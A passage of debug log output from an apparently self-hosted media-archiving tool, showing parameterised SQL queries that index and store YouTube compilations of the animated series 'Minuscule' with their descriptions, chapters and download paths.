offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Love Story | S01E03\n00:04:49 | Sleepless Night | S01E50\n00:09:27 | Leech | S01E73\n00:13:52 | It Never Rains But It Pours | S01E41\n00:18:40 | Nap Time | S01E14\n00:23:29 | The Caterpillar and the Brook | S01E08\n00:28:18 | Jump, Jump, Jump | S01E76\n00:32:40 | Bless You! | S01E66\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#love #insects #mating #soulmate #moth #butterfly #sleep #Minuscule #nature #ladybugs #animatedseries", "Love Story ❤️ Minuscule 🍃 45' Compilation", "e52a9d73-1a4f-4967-818a-be3a6755d0c3", "TTzQC9oeQmM", 2242, false, 4, "https://www.youtube.com/watch?v=TTzQC9oeQmM", 58, "/downloads/Miniscule Season 1/2025-03-13 Love Story ❤️ Minuscule 🍃 45' Compilation/Love Story ❤️ Minuscule 🍃 45' Compilation [TTzQC9oeQmM].mkv", false, false, false, [], 1, ~U[2025-03-13 11:01:31Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Love Story | S01E03\n00:04:49 | Sleepless Night | S01E50\n00:09:27 | Leech | S01E73\n00:13:52 | It Never Rains But It Pours | S01E41\n00:18:40 | Nap Time | S01E14\n00:23:29 | The Caterpillar and the Brook | S01E08\n00:28:18 | Jump, Jump, Jump | S01E76\n00:32:40 | Bless You! | S01E66\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#love #insects #mating #soulmate #moth #butterfly #sleep #Minuscule #nature #ladybugs #animatedseries", "Love Story ❤️ Minuscule 🍃 45' Compilation", "TTzQC9oeQmM", 2242, false, 4, "https://www.youtube.com/watch?v=TTzQC9oeQmM", "/downloads/Miniscule Season 1/2025-03-13 Love Story ❤️ Minuscule 🍃 45' Compilation/Love Story ❤️ Minuscule 🍃 45' Compilation [TTzQC9oeQmM].mkv", false, ~U[2025-03-13 11:01:31Z]] 00:54:34.101 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.102 [debug] QUERY OK source="media_items" db=0.9ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-11 07:00:59Z], 4] 00:54:34.110 [debug] QUERY OK source="media_items" db=7.4ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Snail’s Dream | S01E11\n00:04:38 | On Your Marks, get set, go ! | S01E75\n00:09:17 | A Rolling Snail Gathers No Moss | S01E49\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snail #dream #undergrowth #speed #race #competitor #slow #steady #Minuscule #nature #insects #ladybugs #animatedseries", "A Snail’s Dream 🍃 Minuscule 🍃15' Compilation", "911756ef-e061-48e3-9010-b53dbd19e998", "ZT_g5_EUu68", 878, false, 4, "https://www.youtube.com/watch?v=ZT_g5_EUu68", 59, "/downloads/Miniscule Season 1/2025-03-11 A Snail’s Dream 🍃 Minuscule 🍃15' Compilation/A Snail’s Dream 🍃 Minuscule 🍃15' Compilation [ZT_g5_EUu68].mkv", false, false, false, [], 1, ~U[2025-03-11 07:00:59Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Snail’s Dream | S01E11\n00:04:38 | On Your Marks, get set, go ! | S01E75\n00:09:17 | A Rolling Snail Gathers No Moss | S01E49\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snail #dream #undergrowth #speed #race #competitor #slow #steady #Minuscule #nature #insects #ladybugs #animatedseries", "A Snail’s Dream 🍃 Minuscule 🍃15' Compilation", "ZT_g5_EUu68", 878, false, 4, "https://www.youtube.com/watch?v=ZT_g5_EUu68", "/downloads/Miniscule Season 1/2025-03-11 A Snail’s Dream 🍃 Minuscule 🍃15' Compilation/A Snail’s Dream 🍃 Minuscule 🍃15' Compilation [ZT_g5_EUu68].mkv", false, ~U[2025-03-11 07:00:59Z]] 00:54:34.111 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=13.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.113 [debug] QUERY OK source="media_items" db=0.9ms idle=12.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-06 11:01:21Z], 4] 00:54:34.115 [debug] QUERY OK source="media_items" db=1.7ms idle=12.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n%CHAPTERS%\r\n \r\n%PLAYLIST%\r\n \r\nMinuscule in English 🇺🇸: https://youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ\r\n\r\n© Futurikon\r\n\r\n#ladybugs #dragonflies #watering #projectile #ladybug #seed #plant #fruit #Minuscule #nature #insects #animatedseries", "Ladybugs 🐞 Minuscule 🍃 15' Compilation", "eeb53567-68e2-4656-964f-93547716cc37", "x3YgzbAMQIY", 877, false, 4, "https://www.youtube.com/watch?v=x3YgzbAMQIY", 60, "/downloads/Miniscule Season 1/2025-03-06 Ladybugs 🐞 Minuscule 🍃 15' Compilation/Ladybugs 🐞 Minuscule 🍃 15' Compilation [x3YgzbAMQIY].mkv", false, false, false, [], 1, ~U[2025-03-06 11:01:21Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n%CHAPTERS%\r\n \r\n%PLAYLIST%\r\n \r\nMinuscule in English 🇺🇸: https://youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ\r\n\r\n© Futurikon\r\n\r\n#ladybugs #dragonflies #watering #projectile #ladybug #seed #plant #fruit #Minuscule #nature #insects #animatedseries", "Ladybugs 🐞 Minuscule 🍃 15' Compilation", "x3YgzbAMQIY", 877, false, 4, "https://www.youtube.com/watch?v=x3YgzbAMQIY", "/downloads/Miniscule Season 1/2025-03-06 Ladybugs 🐞 Minuscule 🍃 15' Compilation/Ladybugs 🐞 Minuscule 🍃 15' Compilation [x3YgzbAMQIY].mkv", false, ~U[2025-03-06 11:01:21Z]] 00:54:34.116 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=13.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.117 [debug] QUERY OK source="media_items" db=0.9ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-01 19:00:43Z], 4] 00:54:34.120 [debug] QUERY OK source="media_items" db=2.0ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Zzzzzz Patrol | S01E39\r\n00:04:38 | Wasp Belle | S01E04\r\n00:09:17 | Torpedo | S01E52\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #wasp #nap #insulting #aerobatics #formation #stratosphere #Minuscule #nature #insects #ladybugs #animatedseries", "The Zzzzzz Patrol | Minuscule 🍃 15' Compilation", "471bec8a-be46-421d-80b4-65f178a22952", "POU5fLkYjnQ", 908, false, 4, "https://www.youtube.com/watch?v=POU5fLkYjnQ", 61, "/downloads/Miniscule Season 1/2025-03-01 The Zzzzzz Patrol | Minuscule 🍃 15' Compilation/The Zzzzzz Patrol | Minuscule 🍃 15' Compilation [POU5fLkYjnQ].mkv", false, false, false, [], 1, ~U[2025-03-01 19:00:43Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Zzzzzz Patrol | S01E39\r\n00:04:38 | Wasp Belle | S01E04\r\n00:09:17 | Torpedo | S01E52\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #wasp #nap #insulting #aerobatics #formation #stratosphere #Minuscule #nature #insects #ladybugs #animatedseries", "The Zzzzzz Patrol | Minuscule 🍃 15' Compilation", "POU5fLkYjnQ", 908, false, 4, "https://www.youtube.com/watch?v=POU5fLkYjnQ", "/downloads/Miniscule Season 1/2025-03-01 The Zzzzzz Patrol | Minuscule 🍃 15' Compilation/The Zzzzzz Patrol | Minuscule 🍃 15' Compilation [POU5fLkYjnQ].mkv", false, ~U[2025-03-01 19:00:43Z]] 00:54:34.121 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.123 [debug] QUERY OK source="media_items" db=0.9ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-27 11:01:21Z], 4] 00:54:34.126 [debug] QUERY OK source="media_items" db=2.5ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad Fly | S01E55\n00:04:38 | Insect High Velocity | S01E53\n00:09:16 | The Wild Bunch | S01E74\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#fly #village #alarms #chaos #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "Mad Fly 🪰 Minuscule 🍃 20' Compilation", "7fcbe152-d80f-42fb-b110-9c41dac9b610", "_LSfWUx74wg", 866, false, 4, "https://www.youtube.com/watch?v=_LSfWUx74wg", 62, "/downloads/Miniscule Season 1/2025-02-27 Mad Fly 🪰 Minuscule 🍃 20' Compilation/Mad Fly 🪰 Minuscule 🍃 20' Compilation [_LSfWUx74wg].mkv", false, false, false, [], 1, ~U[2025-02-27 11:01:21Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad Fly | S01E55\n00:04:38 | Insect High Velocity | S01E53\n00:09:16 | The Wild Bunch | S01E74\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#fly #village #alarms #chaos #dragonfly #wasp #chase #engine #Minuscule #nature #insects #ladybugs #animatedseries", "Mad Fly 🪰 Minuscule 🍃 20' Compilation", "_LSfWUx74wg", 866, false, 4, "https://www.youtube.com/watch?v=_LSfWUx74wg", "/downloads/Miniscule Season 1/2025-02-27 Mad Fly 🪰 Minuscule 🍃 20' Compilation/Mad Fly 🪰 Minuscule 🍃 20' Compilation [_LSfWUx74wg].mkv", false, ~U[2025-02-27 11:01:21Z]] 00:54:34.127 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.128 [debug] QUERY OK source="media_items" db=1.0ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-18 07:00:43Z], 4] 00:54:34.132 [debug] QUERY OK source="media_items" db=2.1ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | City Caterpillar And Butterfly Of The Fields | S01E30\r\n00:04:41 | The Apple Of Concord | S01E36\r\n00:09:26 | The Caterpillar Who Wanted To See The Ocean | S01E29\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Caterpillar #Butterfly #Countryside #Transformation #caterpillar #friendship #apple #adventure #Minuscule #nature #insects #ladybugs #animatedseries", "City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation", "a4b318f7-0f8c-458f-a43c-6c67fd70bc03", "cgUR1E-aDWM", 946, false, 4, "https://www.youtube.com/watch?v=cgUR1E-aDWM", 63, "/downloads/Miniscule Season 1/2025-02-18 City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation/City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation [cgUR1E-aDWM].mkv", false, false, false, [], 1, ~U[2025-02-18 07:00:43Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | City Caterpillar And Butterfly Of The Fields | S01E30\r\n00:04:41 | The Apple Of Concord | S01E36\r\n00:09:26 | The Caterpillar Who Wanted To See The Ocean | S01E29\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Caterpillar #Butterfly #Countryside #Transformation #caterpillar #friendship #apple #adventure #Minuscule #nature #insects #ladybugs #animatedseries", "City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation", "cgUR1E-aDWM", 946, false, 4, "https://www.youtube.com/watch?v=cgUR1E-aDWM", "/downloads/Miniscule Season 1/2025-02-18 City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation/City Caterpillar And Butterfly Of The Fields 🐛🦋 Minuscule 🍃 20' Compilation [cgUR1E-aDWM].mkv", false, ~U[2025-02-18 07:00:43Z]] 00:54:34.132 [debug] QUERY OK source="sources" db=0.4ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.133 [debug] QUERY OK source="media_items" db=0.7ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-13 11:01:30Z], 4] 00:54:34.136 [debug] QUERY OK source="media_items" db=1.4ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Bee’s Night Out | S01E51\n00:04:47 | Convoy | S01E10\n00:09:29 | Hyperactive | S01E54\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bee #night #lost #home #hive #convoy #honey #Minuscule #nature #insects #ladybugs #animatedseries", "A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation", "673566f3-443e-4eaa-b202-9f09bbb86f60", "Q9pumNcvtfA", 883, false, 4, "https://www.youtube.com/watch?v=Q9pumNcvtfA", 64, "/downloads/Miniscule Season 1/2025-02-13 A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation/A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation [Q9pumNcvtfA].mkv", false, false, false, [], 1, ~U[2025-02-13 11:01:30Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Bee’s Night Out | S01E51\n00:04:47 | Convoy | S01E10\n00:09:29 | Hyperactive | S01E54\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#bee #night #lost #home #hive #convoy #honey #Minuscule #nature #insects #ladybugs #animatedseries", "A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation", "Q9pumNcvtfA", 883, false, 4, "https://www.youtube.com/watch?v=Q9pumNcvtfA", "/downloads/Miniscule Season 1/2025-02-13 A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation/A Bee’s Night Out 🐝 Minuscule 🍃 20' Compilation [Q9pumNcvtfA].mkv", false, ~U[2025-02-13 11:01:30Z]] 00:54:34.136 [debug] QUERY OK source="sources" db=0.4ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.137 [debug] QUERY OK source="media_items" db=0.6ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-06 11:01:24Z], 4] 00:54:34.139 [debug] QUERY OK source="media_items" db=1.4ms idle=5.0ms INSERT INTO "media_items" AS m0 